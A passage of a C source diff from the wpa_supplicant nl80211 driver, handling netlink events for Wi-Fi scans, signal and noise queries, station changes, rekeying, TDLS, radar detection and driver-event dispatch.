+ int rem; + struct scan_info *info; +#define MAX_REPORT_FREQS 50 + int freqs[MAX_REPORT_FREQS]; + int num_freqs = 0; + + if (drv->scan_for_auth) { + drv->scan_for_auth = 0; + wpa_printf(MSG_DEBUG, "nl80211: Scan results for missing " + "cfg80211 BSS entry"); + wpa_driver_nl80211_authenticate_retry(drv); + return; + } + + os_memset(&event, 0, sizeof(event)); + info = &event.scan_info; + info->aborted = aborted; + + if (tb[NL80211_ATTR_SCAN_SSIDS]) { + nla_for_each_nested(nl, tb[NL80211_ATTR_SCAN_SSIDS], rem) { + struct wpa_driver_scan_ssid *s = + &info->ssids[info->num_ssids]; + s->ssid = nla_data(nl); + s->ssid_len = nla_len(nl); + info->num_ssids++; + if (info->num_ssids == WPAS_MAX_SCAN_SSIDS) + break; + } + } + if (tb[NL80211_ATTR_SCAN_FREQUENCIES]) { + nla_for_each_nested(nl, tb[NL80211_ATTR_SCAN_FREQUENCIES], rem) + { + freqs[num_freqs] = nla_get_u32(nl); + num_freqs++; + if (num_freqs == MAX_REPORT_FREQS - 1) + break; + } + info->freqs = freqs; + info->num_freqs = num_freqs; + } + wpa_supplicant_event(drv->ctx, EVENT_SCAN_RESULTS, &event); +} + + +static int get_link_signal(struct nl_msg *msg, void *arg) +{ + struct nlattr *tb[NL80211_ATTR_MAX + 1]; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct nlattr *sinfo[NL80211_STA_INFO_MAX + 1]; + static struct nla_policy policy[NL80211_STA_INFO_MAX + 1] = { + [NL80211_STA_INFO_SIGNAL] = { .type = NLA_U8 }, + [NL80211_STA_INFO_SIGNAL_AVG] = { .type = NLA_U8 }, + }; + struct nlattr *rinfo[NL80211_RATE_INFO_MAX + 1]; + static struct nla_policy rate_policy[NL80211_RATE_INFO_MAX + 1] = { + [NL80211_RATE_INFO_BITRATE] = { .type = NLA_U16 }, + [NL80211_RATE_INFO_MCS] = { .type = NLA_U8 }, + [NL80211_RATE_INFO_40_MHZ_WIDTH] = { .type = NLA_FLAG }, + [NL80211_RATE_INFO_SHORT_GI] = { .type = NLA_FLAG }, + }; + struct wpa_signal_info *sig_change = arg; + + nla_parse(tb, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + if (!tb[NL80211_ATTR_STA_INFO] || + nla_parse_nested(sinfo, NL80211_STA_INFO_MAX, + tb[NL80211_ATTR_STA_INFO], policy)) + return NL_SKIP; + if (!sinfo[NL80211_STA_INFO_SIGNAL]) + return NL_SKIP; + + sig_change->current_signal = + (s8) nla_get_u8(sinfo[NL80211_STA_INFO_SIGNAL]); + + if (sinfo[NL80211_STA_INFO_SIGNAL_AVG]) + sig_change->avg_signal = + (s8) nla_get_u8(sinfo[NL80211_STA_INFO_SIGNAL_AVG]); + else + sig_change->avg_signal = 0; + + if (sinfo[NL80211_STA_INFO_TX_BITRATE]) { + if (nla_parse_nested(rinfo, NL80211_RATE_INFO_MAX, + sinfo[NL80211_STA_INFO_TX_BITRATE], + rate_policy)) { + sig_change->current_txrate = 0; + } else { + if (rinfo[NL80211_RATE_INFO_BITRATE]) { + sig_change->current_txrate = + nla_get_u16(rinfo[ + NL80211_RATE_INFO_BITRATE]) * 100; + } + } + } + + return NL_SKIP; +} + + +static int nl80211_get_link_signal(struct wpa_driver_nl80211_data *drv, + struct wpa_signal_info *sig) +{ + struct nl_msg *msg; + + sig->current_signal = -9999; + sig->current_txrate = 0; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_GET_STATION); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, drv->bssid); + + return send_and_recv_msgs(drv, msg, get_link_signal, sig); + nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +static int get_link_noise(struct nl_msg *msg, void *arg) +{ + struct nlattr *tb[NL80211_ATTR_MAX + 1]; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct nlattr *sinfo[NL80211_SURVEY_INFO_MAX + 1]; + static struct nla_policy survey_policy[NL80211_SURVEY_INFO_MAX + 1] = { + [NL80211_SURVEY_INFO_FREQUENCY] = { .type = NLA_U32 }, + [NL80211_SURVEY_INFO_NOISE] = { .type = NLA_U8 }, + }; + struct wpa_signal_info *sig_change = arg; + + nla_parse(tb, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + + if (!tb[NL80211_ATTR_SURVEY_INFO]) { + wpa_printf(MSG_DEBUG, "nl80211: survey data missing!"); + return NL_SKIP; + } + + if (nla_parse_nested(sinfo, NL80211_SURVEY_INFO_MAX, + tb[NL80211_ATTR_SURVEY_INFO], + survey_policy)) { + wpa_printf(MSG_DEBUG, "nl80211: failed to parse nested " + "attributes!"); + return NL_SKIP; + } + + if (!sinfo[NL80211_SURVEY_INFO_FREQUENCY]) + return NL_SKIP; + + if (nla_get_u32(sinfo[NL80211_SURVEY_INFO_FREQUENCY]) != + sig_change->frequency) + return NL_SKIP; + + if (!sinfo[NL80211_SURVEY_INFO_NOISE]) + return NL_SKIP; + + sig_change->current_noise = + (s8) nla_get_u8(sinfo[NL80211_SURVEY_INFO_NOISE]); + + return NL_SKIP; +} + + +static int nl80211_get_link_noise(struct wpa_driver_nl80211_data *drv, + struct wpa_signal_info *sig_change) +{ + struct nl_msg *msg; + + sig_change->current_noise = 9999; + sig_change->frequency = drv->assoc_freq; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(drv, msg, NLM_F_DUMP, NL80211_CMD_GET_SURVEY); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + + return send_and_recv_msgs(drv, msg, get_link_noise, sig_change); + nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +static int get_noise_for_scan_results(struct nl_msg *msg, void *arg) +{ + struct nlattr *tb[NL80211_ATTR_MAX + 1]; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct nlattr *sinfo[NL80211_SURVEY_INFO_MAX + 1]; + static struct nla_policy survey_policy[NL80211_SURVEY_INFO_MAX + 1] = { + [NL80211_SURVEY_INFO_FREQUENCY] = { .type = NLA_U32 }, + [NL80211_SURVEY_INFO_NOISE] = { .type = NLA_U8 }, + }; + struct wpa_scan_results *scan_results = arg; + struct wpa_scan_res *scan_res; + size_t i; + + nla_parse(tb, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + + if (!tb[NL80211_ATTR_SURVEY_INFO]) { + wpa_printf(MSG_DEBUG, "nl80211: Survey data missing"); + return NL_SKIP; + } + + if (nla_parse_nested(sinfo, NL80211_SURVEY_INFO_MAX, + tb[NL80211_ATTR_SURVEY_INFO], + survey_policy)) { + wpa_printf(MSG_DEBUG, "nl80211: Failed to parse nested " + "attributes"); + return NL_SKIP; + } + + if (!sinfo[NL80211_SURVEY_INFO_NOISE]) + return NL_SKIP; + + if (!sinfo[NL80211_SURVEY_INFO_FREQUENCY]) + return NL_SKIP; + + for (i = 0; i < scan_results->num; ++i) { + scan_res = scan_results->res[i]; + if (!scan_res) + continue; + if ((int) nla_get_u32(sinfo[NL80211_SURVEY_INFO_FREQUENCY]) != + scan_res->freq) + continue; + if (!(scan_res->flags & WPA_SCAN_NOISE_INVALID)) + continue; + scan_res->noise = (s8) + nla_get_u8(sinfo[NL80211_SURVEY_INFO_NOISE]); + scan_res->flags &= ~WPA_SCAN_NOISE_INVALID; + } + + return NL_SKIP; +} + + +static int nl80211_get_noise_for_scan_results( + struct wpa_driver_nl80211_data *drv, + struct wpa_scan_results *scan_res) +{ + struct nl_msg *msg; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(drv, msg, NLM_F_DUMP, NL80211_CMD_GET_SURVEY); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + + return send_and_recv_msgs(drv, msg, get_noise_for_scan_results, + scan_res); + nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +static void nl80211_cqm_event(struct wpa_driver_nl80211_data *drv, + struct nlattr *tb[]) +{ + static struct nla_policy cqm_policy[NL80211_ATTR_CQM_MAX + 1] = { + [NL80211_ATTR_CQM_RSSI_THOLD] = { .type = NLA_U32 }, + [NL80211_ATTR_CQM_RSSI_HYST] = { .type = NLA_U8 }, + [NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT] = { .type = NLA_U32 }, + [NL80211_ATTR_CQM_PKT_LOSS_EVENT] = { .type = NLA_U32 }, + }; + struct nlattr *cqm[NL80211_ATTR_CQM_MAX + 1]; + enum nl80211_cqm_rssi_threshold_event event; + union wpa_event_data ed; + struct wpa_signal_info sig; + int res; + + if (tb[NL80211_ATTR_CQM] == NULL || + nla_parse_nested(cqm, NL80211_ATTR_CQM_MAX, tb[NL80211_ATTR_CQM], + cqm_policy)) { + wpa_printf(MSG_DEBUG, "nl80211: Ignore invalid CQM event"); + return; + } + + os_memset(&ed, 0, sizeof(ed)); + + if (cqm[NL80211_ATTR_CQM_PKT_LOSS_EVENT]) { + if (!tb[NL80211_ATTR_MAC]) + return; + os_memcpy(ed.low_ack.addr, nla_data(tb[NL80211_ATTR_MAC]), + ETH_ALEN); + wpa_supplicant_event(drv->ctx, EVENT_STATION_LOW_ACK, &ed); + return; + } + + if (cqm[NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT] == NULL) + return; + event = nla_get_u32(cqm[NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT]); + + if (event == NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH) { + wpa_printf(MSG_DEBUG, "nl80211: Connection quality monitor " + "event: RSSI high"); + ed.signal_change.above_threshold = 1; + } else if (event == NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW) { + wpa_printf(MSG_DEBUG, "nl80211: Connection quality monitor " + "event: RSSI low"); + ed.signal_change.above_threshold = 0; + } else + return; + + res = nl80211_get_link_signal(drv, &sig); + if (res == 0) { + ed.signal_change.current_signal = sig.current_signal; + ed.signal_change.current_txrate = sig.current_txrate; + wpa_printf(MSG_DEBUG, "nl80211: Signal: %d dBm txrate: %d", + sig.current_signal, sig.current_txrate); + } + + res = nl80211_get_link_noise(drv, &sig); + if (res == 0) { + ed.signal_change.current_noise = sig.current_noise; + wpa_printf(MSG_DEBUG, "nl80211: Noise: %d dBm", + sig.current_noise); + } + + wpa_supplicant_event(drv->ctx, EVENT_SIGNAL_CHANGE, &ed); +} + + +static void nl80211_new_station_event(struct wpa_driver_nl80211_data *drv, + struct nlattr **tb) +{ + u8 *addr; + union wpa_event_data data; + + if (tb[NL80211_ATTR_MAC] == NULL) + return; + addr = nla_data(tb[NL80211_ATTR_MAC]); + wpa_printf(MSG_DEBUG, "nl80211: New station " MACSTR, MAC2STR(addr)); + + if (is_ap_interface(drv->nlmode) && drv->device_ap_sme) { + u8 *ies = NULL; + size_t ies_len = 0; + if (tb[NL80211_ATTR_IE]) { + ies = nla_data(tb[NL80211_ATTR_IE]); + ies_len = nla_len(tb[NL80211_ATTR_IE]); + } + wpa_hexdump(MSG_DEBUG, "nl80211: Assoc Req IEs", ies, ies_len); + drv_event_assoc(drv->ctx, addr, ies, ies_len, 0); + return; + } + + if (drv->nlmode != NL80211_IFTYPE_ADHOC) + return; + + os_memset(&data, 0, sizeof(data)); + os_memcpy(data.ibss_rsn_start.peer, addr, ETH_ALEN); + wpa_supplicant_event(drv->ctx, EVENT_IBSS_RSN_START, &data); +} + + +static void nl80211_del_station_event(struct wpa_driver_nl80211_data *drv, + struct nlattr **tb) +{ + u8 *addr; + union wpa_event_data data; + + if (tb[NL80211_ATTR_MAC] == NULL) + return; + addr = nla_data(tb[NL80211_ATTR_MAC]); + wpa_printf(MSG_DEBUG, "nl80211: Delete station " MACSTR, + MAC2STR(addr)); + + if (is_ap_interface(drv->nlmode) && drv->device_ap_sme) { + drv_event_disassoc(drv->ctx, addr); + return; + } + + if (drv->nlmode != NL80211_IFTYPE_ADHOC) + return; + + os_memset(&data, 0, sizeof(data)); + os_memcpy(data.ibss_peer_lost.peer, addr, ETH_ALEN); + wpa_supplicant_event(drv->ctx, EVENT_IBSS_PEER_LOST, &data); +} + + +static void nl80211_rekey_offload_event(struct wpa_driver_nl80211_data *drv, + struct nlattr **tb) +{ + struct nlattr *rekey_info[NUM_NL80211_REKEY_DATA]; + static struct nla_policy rekey_policy[NUM_NL80211_REKEY_DATA] = { + [NL80211_REKEY_DATA_KEK] = { + .minlen = NL80211_KEK_LEN, + .maxlen = NL80211_KEK_LEN, + }, + [NL80211_REKEY_DATA_KCK] = { + .minlen = NL80211_KCK_LEN, + .maxlen = NL80211_KCK_LEN, + }, + [NL80211_REKEY_DATA_REPLAY_CTR] = { + .minlen = NL80211_REPLAY_CTR_LEN, + .maxlen = NL80211_REPLAY_CTR_LEN, + }, + }; + union wpa_event_data data; + + if (!tb[NL80211_ATTR_MAC]) + return; + if (!tb[NL80211_ATTR_REKEY_DATA]) + return; + if (nla_parse_nested(rekey_info, MAX_NL80211_REKEY_DATA, + tb[NL80211_ATTR_REKEY_DATA], rekey_policy)) + return; + if (!rekey_info[NL80211_REKEY_DATA_REPLAY_CTR]) + return; + + os_memset(&data, 0, sizeof(data)); + data.driver_gtk_rekey.bssid = nla_data(tb[NL80211_ATTR_MAC]); + wpa_printf(MSG_DEBUG, "nl80211: Rekey offload event for BSSID " MACSTR, + MAC2STR(data.driver_gtk_rekey.bssid)); + data.driver_gtk_rekey.replay_ctr = + nla_data(rekey_info[NL80211_REKEY_DATA_REPLAY_CTR]); + wpa_hexdump(MSG_DEBUG, "nl80211: Rekey offload - Replay Counter", + data.driver_gtk_rekey.replay_ctr, NL80211_REPLAY_CTR_LEN); + wpa_supplicant_event(drv->ctx, EVENT_DRIVER_GTK_REKEY, &data); +} + + +static void nl80211_pmksa_candidate_event(struct wpa_driver_nl80211_data *drv, + struct nlattr **tb) +{ + struct nlattr *cand[NUM_NL80211_PMKSA_CANDIDATE]; + static struct nla_policy cand_policy[NUM_NL80211_PMKSA_CANDIDATE] = { + [NL80211_PMKSA_CANDIDATE_INDEX] = { .type = NLA_U32 }, + [NL80211_PMKSA_CANDIDATE_BSSID] = { + .minlen = ETH_ALEN, + .maxlen = ETH_ALEN, + }, + [NL80211_PMKSA_CANDIDATE_PREAUTH] = { .type = NLA_FLAG }, + }; + union wpa_event_data data; + + wpa_printf(MSG_DEBUG, "nl80211: PMKSA candidate event"); + + if (!tb[NL80211_ATTR_PMKSA_CANDIDATE]) + return; + if (nla_parse_nested(cand, MAX_NL80211_PMKSA_CANDIDATE, + tb[NL80211_ATTR_PMKSA_CANDIDATE], cand_policy)) + return; + if (!cand[NL80211_PMKSA_CANDIDATE_INDEX] || + !cand[NL80211_PMKSA_CANDIDATE_BSSID]) + return; + + os_memset(&data, 0, sizeof(data)); + os_memcpy(data.pmkid_candidate.bssid, + nla_data(cand[NL80211_PMKSA_CANDIDATE_BSSID]), ETH_ALEN); + data.pmkid_candidate.index = + nla_get_u32(cand[NL80211_PMKSA_CANDIDATE_INDEX]); + data.pmkid_candidate.preauth = + cand[NL80211_PMKSA_CANDIDATE_PREAUTH] != NULL; + wpa_supplicant_event(drv->ctx, EVENT_PMKID_CANDIDATE, &data); +} + + +static void nl80211_client_probe_event(struct wpa_driver_nl80211_data *drv, + struct nlattr **tb) +{ + union wpa_event_data data; + + wpa_printf(MSG_DEBUG, "nl80211: Probe client event"); + + if (!tb[NL80211_ATTR_MAC] || !tb[NL80211_ATTR_ACK]) + return; + + os_memset(&data, 0, sizeof(data)); + os_memcpy(data.client_poll.addr, + nla_data(tb[NL80211_ATTR_MAC]), ETH_ALEN); + + wpa_supplicant_event(drv->ctx, EVENT_DRIVER_CLIENT_POLL_OK, &data); +} + + +static void nl80211_tdls_oper_event(struct wpa_driver_nl80211_data *drv, + struct nlattr **tb) +{ + union wpa_event_data data; + + wpa_printf(MSG_DEBUG, "nl80211: TDLS operation event"); + + if (!tb[NL80211_ATTR_MAC] || !tb[NL80211_ATTR_TDLS_OPERATION]) + return; + + os_memset(&data, 0, sizeof(data)); + os_memcpy(data.tdls.peer, nla_data(tb[NL80211_ATTR_MAC]), ETH_ALEN); + switch (nla_get_u8(tb[NL80211_ATTR_TDLS_OPERATION])) { + case NL80211_TDLS_SETUP: + wpa_printf(MSG_DEBUG, "nl80211: TDLS setup request for peer " + MACSTR, MAC2STR(data.tdls.peer)); + data.tdls.oper = TDLS_REQUEST_SETUP; + break; + case NL80211_TDLS_TEARDOWN: + wpa_printf(MSG_DEBUG, "nl80211: TDLS teardown request for peer " + MACSTR, MAC2STR(data.tdls.peer)); + data.tdls.oper = TDLS_REQUEST_TEARDOWN; + break; + default: + wpa_printf(MSG_DEBUG, "nl80211: Unsupported TDLS operatione " + "event"); + return; + } + if (tb[NL80211_ATTR_REASON_CODE]) { + data.tdls.reason_code = + nla_get_u16(tb[NL80211_ATTR_REASON_CODE]); + } + + wpa_supplicant_event(drv->ctx, EVENT_TDLS, &data); +} + + +static void nl80211_stop_ap(struct wpa_driver_nl80211_data *drv, + struct nlattr **tb) +{ + wpa_supplicant_event(drv->ctx, EVENT_INTERFACE_UNAVAILABLE, NULL); +} + + +static void nl80211_connect_failed_event(struct wpa_driver_nl80211_data *drv, + struct nlattr **tb) +{ + union wpa_event_data data; + u32 reason; + + wpa_printf(MSG_DEBUG, "nl80211: Connect failed event"); + + if (!tb[NL80211_ATTR_MAC] || !tb[NL80211_ATTR_CONN_FAILED_REASON]) + return; + + os_memset(&data, 0, sizeof(data)); + os_memcpy(data.connect_failed_reason.addr, + nla_data(tb[NL80211_ATTR_MAC]), ETH_ALEN); + + reason = nla_get_u32(tb[NL80211_ATTR_CONN_FAILED_REASON]); + switch (reason) { + case NL80211_CONN_FAIL_MAX_CLIENTS: + wpa_printf(MSG_DEBUG, "nl80211: Max client reached"); + data.connect_failed_reason.code = MAX_CLIENT_REACHED; + break; + case NL80211_CONN_FAIL_BLOCKED_CLIENT: + wpa_printf(MSG_DEBUG, "nl80211: Blocked client " MACSTR + " tried to connect", + MAC2STR(data.connect_failed_reason.addr)); + data.connect_failed_reason.code = BLOCKED_CLIENT; + break; + default: + wpa_printf(MSG_DEBUG, "nl8021l: Unknown connect failed reason " + "%u", reason); + return; + } + + wpa_supplicant_event(drv->ctx, EVENT_CONNECT_FAILED_REASON, &data); +} + + +static enum chan_width convert2width(int width); + +static void nl80211_radar_event(struct wpa_driver_nl80211_data *drv, + struct nlattr **tb) +{ + union wpa_event_data data; + enum nl80211_radar_event event_type; + + if (!tb[NL80211_ATTR_WIPHY_FREQ] || !tb[NL80211_ATTR_RADAR_EVENT]) + return; + + os_memset(&data, 0, sizeof(data)); + data.dfs_event.freq = nla_get_u32(tb[NL80211_ATTR_WIPHY_FREQ]); + event_type = nla_get_u32(tb[NL80211_ATTR_RADAR_EVENT]); + + /* Check HT params */ + if (tb[NL80211_ATTR_WIPHY_CHANNEL_TYPE]) { + data.dfs_event.ht_enabled = 1; + data.dfs_event.chan_offset = 0; + + switch (nla_get_u32(tb[NL80211_ATTR_WIPHY_CHANNEL_TYPE])) { + case NL80211_CHAN_NO_HT: + data.dfs_event.ht_enabled = 0; + break; + case NL80211_CHAN_HT20: + break; + case NL80211_CHAN_HT40PLUS: + data.dfs_event.chan_offset = 1; + break; + case NL80211_CHAN_HT40MINUS: + data.dfs_event.chan_offset = -1; + break; + } + } + + /* Get VHT params */ + if (tb[NL80211_ATTR_CHANNEL_WIDTH]) + data.dfs_event.chan_width = + convert2width(nla_get_u32( + tb[NL80211_ATTR_CHANNEL_WIDTH])); + if (tb[NL80211_ATTR_CENTER_FREQ1]) + data.dfs_event.cf1 = nla_get_u32(tb[NL80211_ATTR_CENTER_FREQ1]); + if (tb[NL80211_ATTR_CENTER_FREQ2]) + data.dfs_event.cf2 = nla_get_u32(tb[NL80211_ATTR_CENTER_FREQ2]); + + wpa_printf(MSG_DEBUG, "nl80211: DFS event on freq %d MHz, ht: %d, offset: %d, width: %d, cf1: %dMHz, cf2: %dMHz", + data.dfs_event.freq, data.dfs_event.ht_enabled, + data.dfs_event.chan_offset, data.dfs_event.chan_width, + data.dfs_event.cf1, data.dfs_event.cf2); + + switch (event_type) { + case NL80211_RADAR_DETECTED: + wpa_supplicant_event(drv->ctx, EVENT_DFS_RADAR_DETECTED, &data); + break; + case NL80211_RADAR_CAC_FINISHED: + wpa_supplicant_event(drv->ctx, EVENT_DFS_CAC_FINISHED, &data); + break; + case NL80211_RADAR_CAC_ABORTED: + wpa_supplicant_event(drv->ctx, EVENT_DFS_CAC_ABORTED, &data); + break; + case NL80211_RADAR_NOP_FINISHED: + wpa_supplicant_event(drv->ctx, EVENT_DFS_NOP_FINISHED, &data); + break; + default: + wpa_printf(MSG_DEBUG, "nl80211: Unknown radar event %d " + "received", event_type); + break; + } +} + + +static void nl80211_spurious_frame(struct i802_bss *bss, struct nlattr **tb, + int wds) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + union wpa_event_data event; + + if (!tb[NL80211_ATTR_MAC]) + return; + + os_memset(&event, 0, sizeof(event)); + event.rx_from_unknown.bssid = bss->addr; + event.rx_from_unknown.addr = nla_data(tb[NL80211_ATTR_MAC]); + event.rx_from_unknown.wds = wds; + + wpa_supplicant_event(drv->ctx, EVENT_RX_FROM_UNKNOWN, &event); +} + + +static void do_process_drv_event(struct i802_bss *bss, int cmd, + struct nlattr **tb) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + union wpa_event_data data; + + wpa_printf(MSG_DEBUG, "nl80211: Drv Event %d (%s) received for %s", + cmd, nl80211_command_to_string(cmd), bss->ifname); + + if (drv->ap_scan_as_station != NL80211_IFTYPE_UNSPECIFIED && + (cmd == NL80211_CMD_NEW_SCAN_RESULTS || + cmd == NL80211_CMD_SCAN_ABORTED)) { + wpa_driver_nl80211_set_mode(drv->first_bss, + drv->ap_scan_as_station); + drv->ap_scan_as_station = NL80211_IFTYPE_UNSPECIFIED; + } + + switch (cmd) { + case NL80211_CMD_TRIGGER_SCAN: + wpa_dbg(drv->ctx, MSG_DEBUG, "nl80211: Scan trigger"); + drv->scan_state = SCAN_STARTED; + break; + case NL80211_CMD_START_SCHED_SCAN: + wpa_dbg(drv->ctx, MSG_DEBUG, "nl80211: Sched scan started"); + drv->scan_state = SCHED_SCAN_STARTED; + break; + case NL80211_CMD_SCHED_SCAN_STOPPED: + wpa_dbg(drv->ctx, MSG_DEBUG, "nl80211: Sched scan stopped"); + drv->scan_state = SCHED_SCAN_STOPPED; + wpa_supplicant_event(drv->ctx, EVENT_SCHED_SCAN_STOPPED, NULL); + break; + case NL80211_CMD_NEW_SCAN_RESULTS: + wpa_dbg(drv->ctx, MSG_DEBUG, + "nl80211: New scan results available"); + drv->scan_state = SCAN_COMPLETED; + drv->scan_complete_events = 1; + eloop_cancel_timeout(wpa_driver_nl80211_scan_timeout, drv, + drv->ctx); + send_scan_event(drv, 0, tb); + break; + case NL80211_CMD_SCHED_SCAN_RESULTS: + wpa_dbg(drv->ctx, MSG_DEBUG, + "nl80211: New sched scan results available"); + drv->scan_state = SCHED_SCAN_RESULTS; + send_scan_event(drv, 0, tb); + break; + case NL80211_CMD_SCAN_ABORTED: + wpa_dbg(drv->ctx, MSG_DEBUG, "nl80211: Scan aborted"); + drv->scan_state = SCAN_ABORTED; + /* + * Need to indicate that scan results are available in order + * not to make wpa_supplicant stop its scanning. + */ + eloop_cancel_timeout(wpa_driver_nl80211_scan_timeout, drv, + drv->ctx); + send_scan_event(drv, 1, tb); + break; + case NL80211_CMD_AUTHENTICATE: + case NL80211_CMD_ASSOCIATE: + case NL80211_CMD_DEAUTHENTICATE: + case NL80211_CMD_DISASSOCIATE: + case NL80211_CMD_FRAME_TX_STATUS: + case NL80211_CMD_UNPROT_DEAUTHENTICATE: + case NL80211_CMD_UNPROT_DISASSOCIATE: + mlme_event(bss, cmd, tb[NL80211_ATTR_FRAME], + tb[NL80211_ATTR_MAC], tb[NL80211_ATTR_TIMED_OUT], + tb[NL80211_ATTR_WIPHY_FREQ], tb[NL80211_ATTR_ACK], + tb[NL80211_ATTR_COOKIE], + tb[NL80211_ATTR_RX_SIGNAL_DBM]); + break; + case NL80211_CMD_CONNECT: + case NL80211_CMD_ROAM: + mlme_event_connect(drv, cmd, + tb[NL80211_ATTR_STATUS_CODE], + tb[NL80211_ATTR_MAC], + tb[NL80211_ATTR_REQ_IE], + tb[NL80211_ATTR_RESP_IE]); + break; + case NL80211_CMD_CH_SWITCH_NOTIFY: + mlme_event_ch_switch(drv, tb[NL80211_ATTR_WIPHY_FREQ], + tb[NL80211_ATTR_WIPHY_CHANNEL_TYPE]); + break; + case NL80211_CMD_DISCONNECT: + mlme_event_disconnect(drv, tb[NL80211_ATTR_REASON_CODE], + tb[NL80211_ATTR_MAC], + tb[NL80211_ATTR_DISCONNECTED_BY_AP]); + break; + case NL80211_CMD_MICHAEL_MIC_FAILURE: + mlme_event_michael_mic_failure(bss, tb); + break; + case NL80211_CMD_JOIN_IBSS: + mlme_event_join_ibss(drv, tb); + break; + case NL80211_CMD_REMAIN_ON_CHANNEL: + mlme_event_remain_on_channel(drv, 0, tb); + break; + case NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL: + mlme_event_remain_on_channel(drv, 1, tb); + break; + case NL80211_CMD_NOTIFY_CQM: + nl80211_cqm_event(drv, tb); + break; + case NL80211_CMD_REG_CHANGE: + wpa_printf(MSG_DEBUG, "nl80211: Regulatory domain change"); + if (tb[NL80211_ATTR_REG_INITIATOR] == NULL) + break; + os_memset(&data, 0, sizeof(data)); + switch (nla_get_u8(tb[NL80211_ATTR_REG_INITIATOR])) { + case NL80211_REGDOM_SET_BY_CORE: + data.channel_list_changed.initiator = + REGDOM_SET_BY_CORE; + break; + case NL80211_REGDOM_SET_BY_USER: + data.channel_list_changed.initiator = + REGDOM_SET_BY_USER; + break; + case NL80211_REGDOM_SET_BY_DRIVER: + data.channel_list_changed.initiator = + REGDOM_SET_BY_DRIVER; + break; + case NL80211_REGDOM_SET_BY_COUNTRY_IE: + data.channel_list_changed.initiator = + REGDOM_SET_BY_COUNTRY_IE; + break; + default: + wpa_printf(MSG_DEBUG, "nl80211: Unknown reg change initiator %d received", + nla_get_u8(tb[NL80211_ATTR_REG_INITIATOR])); + break; + } + wpa_supplicant_event(drv->ctx, EVENT_CHANNEL_LIST_CHANGED, + &data); + break; + case NL80211_CMD_REG_BEACON_HINT: + wpa_printf(MSG_DEBUG, "nl80211: Regulatory beacon hint"); + wpa_supplicant_event(drv->ctx, EVENT_CHANNEL_LIST_CHANGED, + NULL); + break; + case NL80211_CMD_NEW_STATION: + nl80211_new_station_event(drv, tb); + break; + case NL80211_CMD_DEL_STATION: + nl80211_del_station_event(drv, tb); + break; + case NL80211_CMD_SET_REKEY_OFFLOAD: + nl80211_rekey_offload_event(drv, tb); + break; + case NL80211_CMD_PMKSA_CANDIDATE: + nl80211_pmksa_candidate_event(drv, tb); + break; + case NL80211_CMD_PROBE_CLIENT: + nl80211_client_probe_event(drv, tb); + break; + case NL80211_CMD_TDLS_OPER: + nl80211_tdls_oper_event(drv, tb); + break; + case NL80211_CMD_CONN_FAILED: + nl80211_connect_failed_event(drv, tb); + break; + case NL80211_CMD_FT_EVENT: + mlme_event_ft_event(drv, tb); + break; + case NL80211_CMD_RADAR_DETECT: + nl80211_radar_event(drv, tb); + break; + case NL80211_CMD_STOP_AP: + nl80211_stop_ap(drv, tb); + break; + default: + wpa_dbg(drv->ctx, MSG_DEBUG, "nl80211: Ignored unknown event " + "(cmd=%d)", cmd); + break; + } +} + + +static int process_drv_event(struct nl_msg *msg, void *arg) +{ + struct wpa_driver_nl80211_data *drv = arg; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct nlattr *tb[NL80211_ATTR_MAX + 1]; + struct i802_bss *bss; + int ifidx = -1; + + nla_parse(tb, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + + if (tb[NL80211_ATTR_IFINDEX]) { + ifidx = nla_get_u32(tb[NL80211_ATTR_IFINDEX]); + + for (bss = drv->first_bss; bss; bss = bss->next) + if (ifidx == -1 || ifidx == bss->ifindex) { + do_process_drv_event(bss, gnlh->cmd, tb); + return NL_SKIP; + } + wpa_printf(MSG_DEBUG, + "nl80211: Ignored event (cmd=%d) for foreign interface (ifindex %d)", + gnlh->cmd, ifidx); + } else if (tb[NL80211_ATTR_WDEV]) { + u64 wdev_id = nla_get_u64(tb[NL80211_ATTR_WDEV]); + wpa_printf(MSG_DEBUG, "nl80211: Process event on P2P device"); + for (bss = drv->first_bss; bss; bss = bss->next) { + if (bss->wdev_id_set && wdev_id == bss->wdev_id) { + do_process_drv_event(bss, gnlh->cmd, tb); + return NL_SKIP; + } + } + wpa_printf(MSG_DEBUG, + "nl80211: Ignored event (cmd=%d) for foreign interface (wdev 0x%llx)", + gnlh->cmd, (long long unsigned int) wdev_id); + } + + return NL_SKIP; +} + + +static int process_global_event(struct nl_msg *msg, void *arg) +{ + struct nl80211_global *global = arg; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct nlattr *tb[NL80211_ATTR_MAX + 1]; + struct wpa_driver_nl80211_data *drv, *tmp; + int ifidx = -1; + struct i802_bss *bss; + u64 wdev_id = 0; + int wdev_id_set = 0; + + 